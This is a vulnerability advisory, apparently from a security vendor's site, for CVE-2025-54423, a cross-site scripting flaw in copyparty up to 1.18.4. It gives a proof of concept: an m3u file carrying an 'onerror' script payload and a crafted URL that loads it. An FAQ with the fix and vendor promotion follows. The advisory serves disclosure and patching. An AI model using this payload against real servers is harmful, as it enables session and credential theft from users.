CVE-2025-54423

An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files.

Details

Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:

• a user which has the necessary permission for uploading files can upload a song with an artist-name such as <img src=x onerror=alert(document.domain)>
• an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file

The CVE score and PoC is based on the m3u approach, which results in a higher severity.

PoC

1. Create a file named song.m3u with the following content. Host this file on an attacker-controlled web server.

   #EXTM3U
   #EXTINF:1,"><img src=x onerror=alert(document.domain)> - "><img src=x onerror=alert(document.domain)>
   http://example.com/audio.mp3
   

2. Craft and share the malicious URL:

   http://127.0.0.1:3923/#m3u=https://example.com/song.m3u
   

Any user that accesses this malicious URL is impacted.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2025-54423 has a CVSS score of 5.4 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.18.5); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-54423? CVE-2025-54423 is a medium-severity cross-site scripting (XSS) vulnerability in copyparty (pip), affecting versions <= 1.18.4. It is fixed in 1.18.5. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2025-54423? CVE-2025-54423 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of copyparty are affected by CVE-2025-54423? copyparty (pip) versions <= 1.18.4 is affected.
4. Is there a fix for CVE-2025-54423? Yes. CVE-2025-54423 is fixed in 1.18.5. Upgrade to this version or later.
5. Is CVE-2025-54423 exploitable, and should I be worried? Whether CVE-2025-54423 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-54423 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-54423? Upgrade copyparty to 1.18.5 or later.